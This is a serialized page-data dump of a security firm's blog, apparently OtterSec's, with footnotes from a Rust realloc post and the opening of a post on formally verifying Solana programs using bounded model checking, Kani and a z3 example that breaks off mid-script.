",{"type":24,"tag":156,"props":21613,"children":21615},{"className":21614},[],[21616],{"type":30,"value":9100},{"type":30,"value":21618},", not owning ",{"type":24,"tag":156,"props":21620,"children":21622},{"className":21621},[],[21623],{"type":30,"value":9100},{"type":30,"value":21625}," directly like with ",{"type":24,"tag":156,"props":21627,"children":21629},{"className":21628},[],[21630],{"type":30,"value":21631},"Box\u003CT>",{"type":30,"value":21633},". ",{"type":24,"tag":37,"props":21635,"children":21640},{"href":21636,"ariaLabel":21637,"className":21638,"dataFootnoteBackref":7},"#user-content-fnref-rc-refs","Back to reference 1",[21639],"data-footnote-backref",[21641],{"type":30,"value":21642},"↩",{"type":24,"tag":100,"props":21644,"children":21646},{"id":21645},"user-content-fn-sendsync",[21647,21653,21654],{"type":24,"tag":156,"props":21648,"children":21650},{"className":21649},[],[21651],{"type":30,"value":21652},"!Send + !Sync",{"type":30,"value":510},{"type":24,"tag":37,"props":21655,"children":21659},{"href":21656,"ariaLabel":21657,"className":21658,"dataFootnoteBackref":7},"#user-content-fnref-sendsync","Back to reference 2",[21639],[21660],{"type":30,"value":21642},{"type":24,"tag":100,"props":21662,"children":21664},{"id":21663},"user-content-fn-layout",[21665,21667,21672,21673,21686,21688,21693,21695,21700,21702,21707,21709],{"type":30,"value":21666},"Note that this is a terrible idea for yet another reason: ",{"type":24,"tag":156,"props":21668,"children":21670},{"className":21669},[],[21671],{"type":30,"value":18042},{"type":30,"value":3678},{"type":24,"tag":37,"props":21674,"children":21677},{"href":21675,"rel":21676},"https://docs.rs/solana-program/1.10.30/src/solana_program/account_info.rs.html#15-33",[41],[21678,21680],{"type":30,"value":21679},"not declared with ",{"type":24,"tag":156,"props":21681,"children":21683},{"className":21682},[],[21684],{"type":30,"value":21685},"#[repr(C)]",{"type":30,"value":21687},", meaning that, once again, we're dealing with no layout guarantees. But thanks to the power of blockchain, fixing this ABI interface ",{"type":24,"tag":6032,"props":21689,"children":21690},{},[21691],{"type":30,"value":21692},"breaks the entire chain",{"type":30,"value":21694}," since old contracts will no longer work. So, we're stuck with cobbling together ",{"type":24,"tag":6032,"props":21696,"children":21697},{},[21698],{"type":30,"value":21699},"some",{"type":30,"value":21701}," kind of interface to the specific layout of the specific ",{"type":24,"tag":156,"props":21703,"children":21705},{"className":21704},[],[21706],{"type":30,"value":19611},{"type":30,"value":21708}," versions used to build on-chain code for all eternity... ",{"type":24,"tag":37,"props":21710,"children":21714},{"href":21711,"ariaLabel":21712,"className":21713,"dataFootnoteBackref":7},"#user-content-fnref-layout","Back to reference 3",[21639],[21715],{"type":30,"value":21642},{"type":24,"tag":100,"props":21717,"children":21719},{"id":21718},"user-content-fn-rustc-llvm",[21720,21722],{"type":30,"value":21721},"Actually, it's LLVM that does the optimization ",{"type":24,"tag":37,"props":21723,"children":21727},{"href":21724,"ariaLabel":21725,"className":21726,"dataFootnoteBackref":7},"#user-content-fnref-rustc-llvm","Back to reference 4",[21639],[21728],{"type":30,"value":21642},{"type":24,"tag":100,"props":21730,"children":21732},{"id":21731},"user-content-fn-godbolt",[21733,21740,21742,21748,21750],{"type":24,"tag":37,"props":21734,"children":21737},{"href":21735,"rel":21736},"https://godbolt.org/z/PK46xMbxc",[41],[21738],{"type":30,"value":21739},"Click here",{"type":30,"value":21741}," for a Compiler Explorer link showing this - note that the code for both implementations is almost identical. And yes, it's x86_64 and not eBPF, but unfortunately Compiler Explorer doesn't have Rust ",{"type":24,"tag":156,"props":21743,"children":21745},{"className":21744},[],[21746],{"type":30,"value":21747},"libcore",{"type":30,"value":21749}," available for other architectures yet. ",{"type":24,"tag":37,"props":21751,"children":21755},{"href":21752,"ariaLabel":21753,"className":21754,"dataFootnoteBackref":7},"#user-content-fnref-godbolt","Back to reference 5",[21639],[21756],{"type":30,"value":21642},{"type":24,"tag":100,"props":21758,"children":21760},{"id":21759},"user-content-fn-slice-unbound-lifetime",[21761,21763,21768,21770,21776,21778,21784,21786,21792,21794,21800,21802,21808,21810,21815,21817],{"type":30,"value":21762},"The astute reader may have noticed that ",{"type":24,"tag":156,"props":21764,"children":21766},{"className":21765},[],[21767],{"type":30,"value":21456},{"type":30,"value":21769}," still returns an unbounded lifetime (notice in the signature ",{"type":24,"tag":156,"props":21771,"children":21773},{"className":21772},[],[21774],{"type":30,"value":21775},"unsafe fn from_raw_parts_mut\u003C'a, T>(data: *mut T, len: usize) -> &'a mut [T]",{"type":30,"value":21777},", the lifetime parameter ",{"type":24,"tag":156,"props":21779,"children":21781},{"className":21780},[],[21782],{"type":30,"value":21783},"'a",{"type":30,"value":21785}," does not appear in the arguments). However, we immediately constrain the lifetime by assigning it to ",{"type":24,"tag":156,"props":21787,"children":21789},{"className":21788},[],[21790],{"type":30,"value":21791},"*slice",{"type":30,"value":21793},", which is ",{"type":24,"tag":156,"props":21795,"children":21797},{"className":21796},[],[21798],{"type":30,"value":21799},"&'info [u8]",{"type":30,"value":21801}," (where ",{"type":24,"tag":156,"props":21803,"children":21805},{"className":21804},[],[21806],{"type":30,"value":21807},"'info",{"type":30,"value":21809}," is the lifetime parameter of the ",{"type":24,"tag":156,"props":21811,"children":21813},{"className":21812},[],[21814],{"type":30,"value":18042},{"type":30,"value":21816}," struct) - this is exactly the lifetime we started with. ",{"type":24,"tag":37,"props":21818,"children":21822},{"href":21819,"ariaLabel":21820,"className":21821,"dataFootnoteBackref":7},"#user-content-fnref-slice-unbound-lifetime","Back to reference 6",[21639],[21823],{"type":30,"value":21642},{"type":24,"tag":5957,"props":21825,"children":21826},{},[21827],{"type":30,"value":5961},{"title":7,"searchDepth":984,"depth":984,"links":21829},[21830,21836,21840,21841,21843],{"id":17474,"depth":984,"text":21831,"children":21832},"Breaking down realloc",[21833,21834],{"id":17640,"depth":993,"text":17643},{"id":18994,"depth":993,"text":21835},"Back to realloc",{"id":19944,"depth":984,"text":19947,"children":21837},[21838,21839],{"id":19950,"depth":993,"text":19953},{"id":20172,"depth":993,"text":20175},{"id":20359,"depth":984,"text":20362},{"id":20761,"depth":984,"text":21842},"Towards safer unsafe",{"id":18584,"depth":984,"text":21534},"content:blog:2022-12-09-rust-realloc-and-references.md","blog/2022-12-09-rust-realloc-and-references.md","blog/2022-12-09-rust-realloc-and-references",{"_path":21848,"_dir":5,"_draft":6,"_partial":6,"_locale":7,"title":21849,"description":21850,"author":21851,"image":21852,"date":21854,"isFeatured":16,"onBlogPage":16,"tags":21855,"body":21856,"_type":5983,"_id":32092,"_source":5985,"_file":32093,"_stem":32094,"_extension":5988},"/blog/2023-01-26-formally-verifying-solana-programs","Solana Formal Verification: A Case Study","We present a novel framework for formal verification of Solana Anchor programs — and a case study application to the Squads multisig.","harrison",{"src":21853,"height":16730,"width":15},"/posts/formally-verifying-solana-programs/formal-verification-title.jpg","2023-01-26",[6000,6001],{"type":21,"children":21857,"toc":32064},[21858,21863,21868,21894,21898,21910,21933,21956,21968,21991,21994,22001,22050,22056,22062,22067,22078,22119,22124,22130,22135,22368,22388,22393,22398,22471,22476,22546,22560,22985,23005,23011,23030,23035,23040,23045,23051,23063,23098,23109,23120,23132,23137,23169,23193,23212,23218,23235,23241,23268,23273,23293,23305,23451,23479,23482,23494,23577,23596,23599,23638,23804,23809,23815,23827,23845,23858,24019,24031,24044,24518,24523,24570,24576,24594,24663,24900,25114,25119,25193,25241,25246,25252,25354,25458,25463,25526,25531,25537,25602,25607,25649,25675,25681,25750,25755,25805,25816,25822,25833,25854,25859,25864,25887,25893,25905,25925,27019,27038,27089,27094,27102,27114,27119,27127,27132,27148,27184,27189,27283,27288,27296,27301,27413,27418,27426,27439,27603,27608,27616,27621,27626,27694,27728,27734,27739,27750,27768,28146,28158,28170,28178,28189,28220,28225,28233,28238,28511,28530,28535,28561,29429,29441,29540,29552,29594,29599,29611,29619,29624,29636,29662,29822,29834,29842,29847,30123,30128,30140,30295,30315,30641,30675,30869,30902,30914,31036,31056,31061,31066,31071,31084,31092,31097,31572,31584,31589,31601,31606,31865,31891,31896,31902,31908,31920,31932,31951,31998,32003,32009,32014,32019,32024,32028,32033,32038,32041,32060],{"type":24,"tag":33,"props":21859,"children":21860},{},[21861],{"type":30,"value":21862},"Since the early days of computing, bugs have crept their way into programs and wreaked havoc on the intentions of the programmer. Logical fallacies, race conditions, or simple typos could manifest as crashes or lay undetected, silently breaking the functionality of the host program.",{"type":24,"tag":33,"props":21864,"children":21865},{},[21866],{"type":30,"value":21867},"When your program is connected to the internet, there is the new risk that bugs may introduce security holes into your system. Even simple buffer overflows can be exploited by skilled attackers to compromise the integrity of your program.",{"type":24,"tag":33,"props":21869,"children":21870},{},[21871,21873,21877,21879,21884,21886,21893],{"type":30,"value":21872},"In the world of Web3 we create programs that talk to strangers ",{"type":24,"tag":6032,"props":21874,"children":21875},{},[21876],{"type":30,"value":19474},{"type":30,"value":21878}," control millions of dollars 🤑. Bugs in these programs are some of the ",{"type":24,"tag":6032,"props":21880,"children":21881},{},[21882],{"type":30,"value":21883},"juciest",{"type":30,"value":21885},"; anonymous attackers that can find and exploit them will walk away with potentially ",{"type":24,"tag":37,"props":21887,"children":21890},{"href":21888,"rel":21889},"https://rekt.news/leaderboard/",[41],[21891],{"type":30,"value":21892},"hundreds of millions of dollars",{"type":30,"value":436},{"type":24,"tag":21895,"props":21896,"children":21897},"hr",{},[],{"type":24,"tag":33,"props":21899,"children":21900},{},[21901,21903,21908],{"type":30,"value":21902},"At OtterSec we are ",{"type":24,"tag":6032,"props":21904,"children":21905},{},[21906],{"type":30,"value":21907},"highly skilled in pest control",{"type":30,"value":21909}," - finding and squashing bugs before they are exploited by less well-intentioned hackers. We are constantly striving to improve our techniques and develop new technologies that aid in our auditing processes.",{"type":24,"tag":33,"props":21911,"children":21912},{},[21913,21915,21922,21924,21931],{"type":30,"value":21914},"Recently we were contacted by the ",{"type":24,"tag":37,"props":21916,"children":21919},{"href":21917,"rel":21918},"https://squads.so/",[41],[21920],{"type":30,"value":21921},"Squads team",{"type":30,"value":21923}," to explore how formal verification could be used to verify security-critical properties of Solana programs. We were really excited about this opportunity and have been developing a prototype with the ",{"type":24,"tag":37,"props":21925,"children":21928},{"href":21926,"rel":21927},"https://github.com/Squads-Protocol/squads-mpl",[41],[21929],{"type":30,"value":21930},"Squads Multisig Program",{"type":30,"value":21932}," as our main case study.",{"type":24,"tag":33,"props":21934,"children":21935},{},[21936,21938,21945,21947,21954],{"type":30,"value":21937},"We now have a (mostly) working prototype that can be used to formally verify critical properties of Solana programs in order to ensure a higher level of security. Our tool integrates with ",{"type":24,"tag":37,"props":21939,"children":21942},{"href":21940,"rel":21941},"https://www.anchor-lang.com/",[41],[21943],{"type":30,"value":21944},"anchor-lang",{"type":30,"value":21946}," and provides new APIs to specify invariants for your Solana code. It then autogenerates proof harnesses which are verified with the ",{"type":24,"tag":37,"props":21948,"children":21951},{"href":21949,"rel":21950},"https://github.com/model-checking/kani",[41],[21952],{"type":30,"value":21953},"Kani Rust Verifier",{"type":30,"value":21955},". Additionally, we are implementing a formal-verification-friendly runtime SDK layer that accelerates the expensive process of running formal verification tools on complex code.",{"type":24,"tag":33,"props":21957,"children":21958},{},[21959,21961,21966],{"type":30,"value":21960},"In this blog post, we're excited to share our progress and the challenges we've encountered during the process. We will describe the main concepts behind ",{"type":24,"tag":6032,"props":21962,"children":21963},{},[21964],{"type":30,"value":21965},"bounded model checking",{"type":30,"value":21967}," (our formal verification method of choice) and explain how we've applied these concepts to Solana.",{"type":24,"tag":33,"props":21969,"children":21970},{},[21971],{"type":24,"tag":6032,"props":21972,"children":21973},{},[21974,21976,21983,21985],{"type":30,"value":21975},"If you're interested in learning more or getting your own programs formally verified, let us know! We'd be excited to chat with you! — Fill out ",{"type":24,"tag":37,"props":21977,"children":21980},{"href":21978,"rel":21979},"https://osec.io/contact",[41],[21981],{"type":30,"value":21982},"this form",{"type":30,"value":21984}," or email us at ",{"type":24,"tag":37,"props":21986,"children":21988},{"href":21987},"mailto:contact@osec.io",[21989],{"type":30,"value":21990},"contact@osec.io",{"type":24,"tag":21895,"props":21992,"children":21993},{},[],{"type":24,"tag":21995,"props":21996,"children":21998},"h4",{"id":21997},"contents",[21999],{"type":30,"value":22000},"Contents:",{"type":24,"tag":478,"props":22002,"children":22003},{},[22004,22009,22026,22036,22041,22046],{"type":24,"tag":100,"props":22005,"children":22006},{},[22007],{"type":30,"value":22008},"Formal Verification with Bounded Model Checking\na. Overview\nb. A simple example\nc. Loop bounds & path explosion\nd. The Kani Rust Verifier",{"type":24,"tag":100,"props":22010,"children":22011},{},[22012,22017,22019,22024],{"type":24,"tag":275,"props":22013,"children":22014},{},[22015],{"type":30,"value":22016},"Specification",{"type":30,"value":22018},": How can we describe what we ",{"type":24,"tag":6032,"props":22020,"children":22021},{},[22022],{"type":30,"value":22023},"want",{"type":30,"value":22025}," our program to do?",{"type":24,"tag":100,"props":22027,"children":22028},{},[22029,22034],{"type":24,"tag":275,"props":22030,"children":22031},{},[22032],{"type":30,"value":22033},"Verification",{"type":30,"value":22035},": How do we check that our model is correct?",{"type":24,"tag":100,"props":22037,"children":22038},{},[22039],{"type":30,"value":22040},"Case Study: Squads Multisig",{"type":24,"tag":100,"props":22042,"children":22043},{},[22044],{"type":30,"value":22045},"Additional challenges in Solana",{"type":24,"tag":100,"props":22047,"children":22048},{},[22049],{"type":30,"value":5879},{"type":24,"tag":68,"props":22051,"children":22053},{"id":22052},"formal-verification-with-bounded-model-checking",[22054],{"type":30,"value":22055},"Formal Verification with Bounded Model Checking",{"type":24,"tag":151,"props":22057,"children":22059},{"id":22058},"overview",[22060],{"type":30,"value":22061},"Overview",{"type":24,"tag":33,"props":22063,"children":22064},{},[22065],{"type":30,"value":22066},"Formal verification is the process of using a formal specification to verify the correctness of a system. In this case, the systems we are verifying are programs written in Rust that run on the Solana blockchain.",{"type":24,"tag":33,"props":22068,"children":22069},{},[22070,22072,22077],{"type":30,"value":22071},"There are many different flavors of formal verification, however in this research we are using ",{"type":24,"tag":275,"props":22073,"children":22074},{},[22075],{"type":30,"value":22076},"bounded model checking (BMC)",{"type":30,"value":436},{"type":24,"tag":33,"props":22079,"children":22080},{},[22081,22083,22088,22090,22095,22097,22101,22103,22109,22111,22117],{"type":30,"value":22082},"In short, the idea of BMC is to execute our program ",{"type":24,"tag":6032,"props":22084,"children":22085},{},[22086],{"type":30,"value":22087},"symbolically",{"type":30,"value":22089}," rather than ",{"type":24,"tag":6032,"props":22091,"children":22092},{},[22093],{"type":30,"value":22094},"concretely",{"type":30,"value":22096},". Instead of actually performing an ",{"type":24,"tag":6032,"props":22098,"children":22099},{},[22100],{"type":30,"value":3184},{"type":30,"value":22102}," when we see the line ",{"type":24,"tag":156,"props":22104,"children":22106},{"className":22105},[],[22107],{"type":30,"value":22108},"int x = a + b",{"type":30,"value":22110},", we store the symbolic expression ",{"type":24,"tag":156,"props":22112,"children":22114},{"className":22113},[],[22115],{"type":30,"value":22116},"x == a + b",{"type":30,"value":22118},". We do this for every line and once we reach the end of the program we have compiled a huge list of symbolic expressions. At this point, we can feed these expressions to a SMT solver along with a correctness property P in order to check if our program satisfies this property.",{"type":24,"tag":33,"props":22120,"children":22121},{},[22122],{"type":30,"value":22123},"If we hit a branch as we are tracing the program, we will take both sides of the branch adding the positive branch condition as a constraint to one side and the negative condition to the other side.",{"type":24,"tag":151,"props":22125,"children":22127},{"id":22126},"a-simple-example",[22128],{"type":30,"value":22129},"A simple example",{"type":24,"tag":33,"props":22131,"children":22132},{},[22133],{"type":30,"value":22134},"As an example, consider the following function:",{"type":24,"tag":920,"props":22136,"children":22138},{"code":22137,"language":6268,"meta":7,"className":19616,"style":7},"int foo(int x) {\n    int y = x + 3;\n    int z;\n    if (y > 100) {\n        z = y * 2;\n    } else {\n        z = y + 1;\n    }\n\n    // Property P:\n    assert(z != 105);\n}\n",[22139],{"type":24,"tag":156,"props":22140,"children":22141},{"__ignoreMap":7},[22142,22172,22206,22218,22243,22271,22286,22313,22320,22327,22335,22361],{"type":24,"tag":930,"props":22143,"children":22144},{"class":932,"line":933},[22145,22150,22155,22159,22163,22168],{"type":24,"tag":930,"props":22146,"children":22147},{"style":937},[22148],{"type":30,"value":22149},"int",{"type":24,"tag":930,"props":22151,"children":22152},{"style":1002},[22153],{"type":30,"value":22154}," foo",{"type":24,"tag":930,"props":22156,"children":22157},{"style":959},[22158],{"type":30,"value":1010},{"type":24,"tag":930,"props":22160,"children":22161},{"style":937},[22162],{"type":30,"value":22149},{"type":24,"tag":930,"props":22164,"children":22165},{"style":1023},[22166],{"type":30,"value":22167}," x",{"type":24,"tag":930,"props":22169,"children":22170},{"style":959},[22171],{"type":30,"value":1503},{"type":24,"tag":930,"props":22173,"children":22174},{"class":932,"line":984},[22175,22180,22184,22188,22193,22197,22202],{"type":24,"tag":930,"props":22176,"children":22177},{"style":937},[22178],{"type":30,"value":22179},"    int",{"type":24,"tag":930,"props":22181,"children":22182},{"style":959},[22183],{"type":30,"value":7628},{"type":24,"tag":930,"props":22185,"children":22186},{"style":1158},[22187],{"type":30,"value":1161},{"type":24,"tag":930,"props":22189,"children":22190},{"style":959},[22191],{"type":30,"value":22192}," x ",{"type":24,"tag":930,"props":22194,"children":22195},{"style":1158},[22196],{"type":30,"value":1400},{"type":24,"tag":930,"props":22198,"children":22199},{"style":1242},[22200],{"type":30,"value":22201}," 3",{"type":24,"tag":930,"props":22203,"children":22204},{"style":959},[22205],{"type":30,"value":5539},{"type":24,"tag":930,"props":22207,"children":22208},{"class":932,"line":993},[22209,22213],{"type":24,"tag":930,"props":22210,"children":22211},{"style":937},[22212],{"type":30,"value":22179},{"type":24,"tag":930,"props":22214,"children":22215},{"style":959},[22216],{"type":30,"value":22217}," z;\n",{"type":24,"tag":930,"props":22219,"children":22220},{"class":932,"line":1057},[22221,22225,22230,22234,22239],{"type":24,"tag":930,"props":22222,"children":22223},{"style":1079},[22224],{"type":30,"value":15386},{"type":24,"tag":930,"props":22226,"children":22227},{"style":959},[22228],{"type":30,"value":22229}," (y ",{"type":24,"tag":930,"props":22231,"children":22232},{"style":1158},[22233],{"type":30,"value":2261},{"type":24,"tag":930,"props":22235,"children":22236},{"style":1242},[22237],{"type":30,"value":22238}," 100",{"type":24,"tag":930,"props":22240,"children":22241},{"style":959},[22242],{"type":30,"value":1503},{"type":24,"tag":930,"props":22244,"children":22245},{"class":932,"line":1066},[22246,22251,22255,22259,22263,22267],{"type":24,"tag":930,"props":22247,"children":22248},{"style":959},[22249],{"type":30,"value":22250},"        z ",{"type":24,"tag":930,"props":22252,"children":22253},{"style":1158},[22254],{"type":30,"value":1161},{"type":24,"tag":930,"props":22256,"children":22257},{"style":959},[22258],{"type":30,"value":7628},{"type":24,"tag":930,"props":22260,"children":22261},{"style":1158},[22262],{"type":30,"value":1410},{"type":24,"tag":930,"props":22264,"children":22265},{"style":1242},[22266],{"type":30,"value":11044},{"type":24,"tag":930,"props":22268,"children":22269},{"style":959},[22270],{"type":30,"value":5539},{"type":24,"tag":930,"props":22272,"children":22273},{"class":932,"line":1075},[22274,22278,22282],{"type":24,"tag":930,"props":22275,"children":22276},{"style":959},[22277],{"type":30,"value":18882},{"type":24,"tag":930,"props":22279,"children":22280},{"style":1079},[22281],{"type":30,"value":2317},{"type":24,"tag":930,"props":22283,"children":22284},{"style":959},[22285],{"type":30,"value":981},{"type":24,"tag":930,"props":22287,"children":22288},{"class":932,"line":1122},[22289,22293,22297,22301,22305,22309],{"type":24,"tag":930,"props":22290,"children":22291},{"style":959},[22292],{"type":30,"value":22250},{"type":24,"tag":930,"props":22294,"children":22295},{"style":1158},[22296],{"type":30,"value":1161},{"type":24,"tag":930,"props":22298,"children":22299},{"style":959},[22300],{"type":30,"value":7628},{"type":24,"tag":930,"props":22302,"children":22303},{"style":1158},[22304],{"type":30,"value":1400},{"type":24,"tag":930,"props":22306,"children":22307},{"style":1242},[22308],{"type":30,"value":7637},{"type":24,"tag":930,"props":22310,"children":22311},{"style":959},[22312],{"type":30,"value":5539},{"type":24,"tag":930,"props":22314,"children":22315},{"class":932,"line":1131},[22316],{"type":24,"tag":930,"props":22317,"children":22318},{"style":959},[22319],{"type":30,"value":1840},{"type":24,"tag":930,"props":22321,"children":22322},{"class":932,"line":1144},[22323],{"type":24,"tag":930,"props":22324,"children":22325},{"emptyLinePlaceholder":16},[22326],{"type":30,"value":2412},{"type":24,"tag":930,"props":22328,"children":22329},{"class":932,"line":1169},[22330],{"type":24,"tag":930,"props":22331,"children":22332},{"style":1422},[22333],{"type":30,"value":22334},"    // Property P:\n",{"type":24,"tag":930,"props":22336,"children":22337},{"class":932,"line":1191},[22338,22343,22348,22352,22357],{"type":24,"tag":930,"props":22339,"children":22340},{"style":1002},[22341],{"type":30,"value":22342},"    assert",{"type":24,"tag":930,"props":22344,"children":22345},{"style":959},[22346],{"type":30,"value":22347},"(z ",{"type":24,"tag":930,"props":22349,"children":22350},{"style":1158},[22351],{"type":30,"value":4681},{"type":24,"tag":930,"props":22353,"children":22354},{"style":1242},[22355],{"type":30,"value":22356}," 105",{"type":24,"tag":930,"props":22358,"children":22359},{"style":959},[22360],{"type":30,"value":1278},{"type":24,"tag":930,"props":22362,"children":22363},{"class":932,"line":1223},[22364],{"type":24,"tag":930,"props":22365,"children":22366},{"style":959},[22367],{"type":30,"value":2528},{"type":24,"tag":33,"props":22369,"children":22370},{},[22371,22373,22379,22381,22387],{"type":30,"value":22372},"This function takes an input ",{"type":24,"tag":156,"props":22374,"children":22376},{"className":22375},[],[22377],{"type":30,"value":22378},"x",{"type":30,"value":22380}," and does some computation. At the end of the program, the property we want to verify is that ",{"type":24,"tag":156,"props":22382,"children":22384},{"className":22383},[],[22385],{"type":30,"value":22386},"z != 105",{"type":30,"value":436},{"type":24,"tag":33,"props":22389,"children":22390},{},[22391],{"type":30,"value":22392},"With BMC, we could trace this program and derive the following constraints:",{"type":24,"tag":33,"props":22394,"children":22395},{},[22396],{"type":30,"value":22397},"Positive branch:",{"type":24,"tag":920,"props":22399,"children":22401},{"code":22400,"language":6268,"meta":7,"className":19616,"style":7},"y == x + 3\ny > 100\nz == y * 2\n",[22402],{"type":24,"tag":156,"props":22403,"children":22404},{"__ignoreMap":7},[22405,22430,22446],{"type":24,"tag":930,"props":22406,"children":22407},{"class":932,"line":933},[22408,22413,22417,22421,22425],{"type":24,"tag":930,"props":22409,"children":22410},{"style":959},[22411],{"type":30,"value":22412},"y ",{"type":24,"tag":930,"props":22414,"children":22415},{"style":1158},[22416],{"type":30,"value":1239},{"type":24,"tag":930,"props":22418,"children":22419},{"style":959},[22420],{"type":30,"value":22192},{"type":24,"tag":930,"props":22422,"children":22423},{"style":1158},[22424],{"type":30,"value":1400},{"type":24,"tag":930,"props":22426,"children":22427},{"style":1242},[22428],{"type":30,"value":22429}," 3\n",{"type":24,"tag":930,"props":22431,"children":22432},{"class":932,"line":984},[22433,22437,22441],{"type":24,"tag":930,"props":22434,"children":22435},{"style":959},[22436],{"type":30,"value":22412},{"type":24,"tag":930,"props":22438,"children":22439},{"style":1158},[22440],{"type":30,"value":2261},{"type":24,"tag":930,"props":22442,"children":22443},{"style":1242},[22444],{"type":30,"value":22445}," 100\n",{"type":24,"tag":930,"props":22447,"children":22448},{"class":932,"line":993},[22449,22454,22458,22462,22466],{"type":24,"tag":930,"props":22450,"children":22451},{"style":959},[22452],{"type":30,"value":22453},"z ",{"type":24,"tag":930,"props":22455,"children":22456},{"style":1158},[22457],{"type":30,"value":1239},{"type":24,"tag":930,"props":22459,"children":22460},{"style":959},[22461],{"type":30,"value":7628},{"type":24,"tag":930,"props":22463,"children":22464},{"style":1158},[22465],{"type":30,"value":1410},{"type":24,"tag":930,"props":22467,"children":22468},{"style":1242},[22469],{"type":30,"value":22470}," 2\n",{"type":24,"tag":33,"props":22472,"children":22473},{},[22474],{"type":30,"value":22475},"Negative branch:",{"type":24,"tag":920,"props":22477,"children":22479},{"code":22478,"language":6268,"meta":7,"className":19616,"style":7},"y == x + 3\ny \u003C= 100\nz == y + 1\n",[22480],{"type":24,"tag":156,"props":22481,"children":22482},{"__ignoreMap":7},[22483,22506,22522],{"type":24,"tag":930,"props":22484,"children":22485},{"class":932,"line":933},[22486,22490,22494,22498,22502],{"type":24,"tag":930,"props":22487,"children":22488},{"style":959},[22489],{"type":30,"value":22412},{"type":24,"tag":930,"props":22491,"children":22492},{"style":1158},[22493],{"type":30,"value":1239},{"type":24,"tag":930,"props":22495,"children":22496},{"style":959},[22497],{"type":30,"value":22192},{"type":24,"tag":930,"props":22499,"children":22500},{"style":1158},[22501],{"type":30,"value":1400},{"type":24,"tag":930,"props":22503,"children":22504},{"style":1242},[22505],{"type":30,"value":22429},{"type":24,"tag":930,"props":22507,"children":22508},{"class":932,"line":984},[22509,22513,22518],{"type":24,"tag":930,"props":22510,"children":22511},{"style":959},[22512],{"type":30,"value":22412},{"type":24,"tag":930,"props":22514,"children":22515},{"style":1158},[22516],{"type":30,"value":22517},"\u003C=",{"type":24,"tag":930,"props":22519,"children":22520},{"style":1242},[22521],{"type":30,"value":22445},{"type":24,"tag":930,"props":22523,"children":22524},{"class":932,"line":993},[22525,22529,22533,22537,22541],{"type":24,"tag":930,"props":22526,"children":22527},{"style":959},[22528],{"type":30,"value":22453},{"type":24,"tag":930,"props":22530,"children":22531},{"style":1158},[22532],{"type":30,"value":1239},{"type":24,"tag":930,"props":22534,"children":22535},{"style":959},[22536],{"type":30,"value":7628},{"type":24,"tag":930,"props":22538,"children":22539},{"style":1158},[22540],{"type":30,"value":1400},{"type":24,"tag":930,"props":22542,"children":22543},{"style":1242},[22544],{"type":30,"value":22545}," 1\n",{"type":24,"tag":33,"props":22547,"children":22548},{},[22549,22551,22558],{"type":30,"value":22550},"Using the ",{"type":24,"tag":37,"props":22552,"children":22555},{"href":22553,"rel":22554},"https://github.com/Z3Prover/z3",[41],[22556],{"type":30,"value":22557},"z3",{"type":30,"value":22559}," SMT solver, we could check both of these cases like so:",{"type":24,"tag":920,"props":22561,"children":22565},{"code":22562,"language":22563,"meta":7,"className":22564,"style":7},"from z3 import *\n\nx = Int('x')\ny = Int('y')\nz = Int('z')\n\n# Positive branch:\ns = Solver()\ns.add(y == x + 3)\ns.add(y > 100)\ns.add(z == y * 2)\n\n# check if we can violate the correctness property\ns.add(Not(z != 105))\nprint(s.check()) # \"unsat\"\n\n# Negative branch:\ns = Solver()\ns.add(y == x + 3)\ns.add(y \u003C= 100)\ns.add(z == y + 1)\n\n# check if we can violate the correctness property\ns.add(Not(z != 105))\nprint(s.check()) # \"unsat\"\n","python","language-python shiki shiki-themes slack-dark",[22566],{"type":24,"tag":156,"props":22567,"children":22568},{"__ignoreMap":7},[22569,22592,22599,22625,22649,22673,22680,22688,22705,22733,22752,22780,22787,22795,22816,22834,22841,22849,22864,22891,22910,22937,22944,22951,22970],{"type":24,"tag":930,"props":22570,"children":22571},{"class":932,"line":933},[22572,22577,22582,22587],{"type":24,"tag":930,"props":22573,"children":22574},{"style":1079},[22575],{"type":30,"value":22576},"from",{"type":24,"tag":930,"props":22578,"children":22579},{"style":959},[22580],{"type":30,"value":22581}," z3 ",{"type":24,"tag":930,"props":22583,"children":22584},{"style":1079},[22585],{"type":30,"value":22586},"import",{"type":24,"tag":930,"props":22588,"children":22589},{"style":1158},[22590],{"type":30,"value":22591}," *\n",{"type":24,"tag":930,"props":22593,"children":22594},{"class":932,"line":984},[22595],{"type":24,"tag":930,"props":22596,"children":22597},{"emptyLinePlaceholder":16},[22598],{"type":30,"value":2412},{"type":24,"tag":930,"props":22600,"children":22601},{"class":932,"line":993},[22602,22607,22611,22616,22621],{"type":24,"tag":930,"props":22603,"children":22604},{"style":959},[22605],{"type":30,"value":22606},"x ",{"type":24,"tag":930,"props":22608,"children":22609},{"style":1158},[22610],{"type":30,"value":1161},{"type":24,"tag":930,"props":22612,"children":22613},{"style":959},[22614],{"type":30,"value":22615}," Int(",{"type":24,"tag":930,"props":22617,"children":22618},{"style":1270},[22619],{"type":30,"value":22620},"'x'",{"type":24,"tag":930,"props":22622,"children":22623},{"style":959},[22624],{"type":30,"value":1054},{"type":24,"tag":930,"props":22626,"children":22627},{"class":932,"line":1057},[22628,22632,22636,22640,22645],{"type":24,"tag":930,"props":22629,"children":22630},{"style":959},[22631],{"type":30,"value":22412},{"type":24,"tag":930,"props":22633,"children":22634},{"style":1158},[22635],{"type":30,"value":1161},{"type":24,"tag":930,"props":22637,"children":22638},{"style":959},[22639],{"type":30,"value":22615},{"type":24,"tag":930,"props":22641,"children":22642},{"style":1270},[22643],{"type":30,"value":22644},"'y'",{"type":24,"tag":930,"props":22646,"children":22647},{"style":959},[22648],{"type":30,"value":1054},{"type":24,"tag":930,"props":22650,"children":22651},{"class":932,"line":1066},[22652,22656,22660,22664,22669],{"type":24,"tag":930,"props":22653,"children":22654},{"style":959},[22655],{"type":30,"value":22453},{"type":24,"tag":930,"props":22657,"children":22658},{"style":1158},[22659],{"type":30,"value":1161},{"type":24,"tag":930,"props":22661,"children":22662},{"style":959},[22663],{"type":30,"value":22615},{"type":24,"tag":930,"props":22665,"children":22666},{"style":1270},[22667],{"type":30,"value":22668},"'z'",{"type":24,"tag":930,"props":22670,"children":22671},{"style":959},[22672],{"type":30,"value":1054},{"type":24,"tag":930,"props":22674,"children":22675},{"class":932,"line":1075},[22676],{"type":24,"tag":930,"props":22677,"children":22678},{"emptyLinePlaceholder":16},[22679],{"type":30,"value":2412},{"type":24,"tag":930,"props":22681,"children":22682},{"class":932,"line":1122},[22683],{"type":24,"tag":930,"props":22684,"children":22685},{"style":1422},[22686],{"type":30,"value":22687},"# Positive 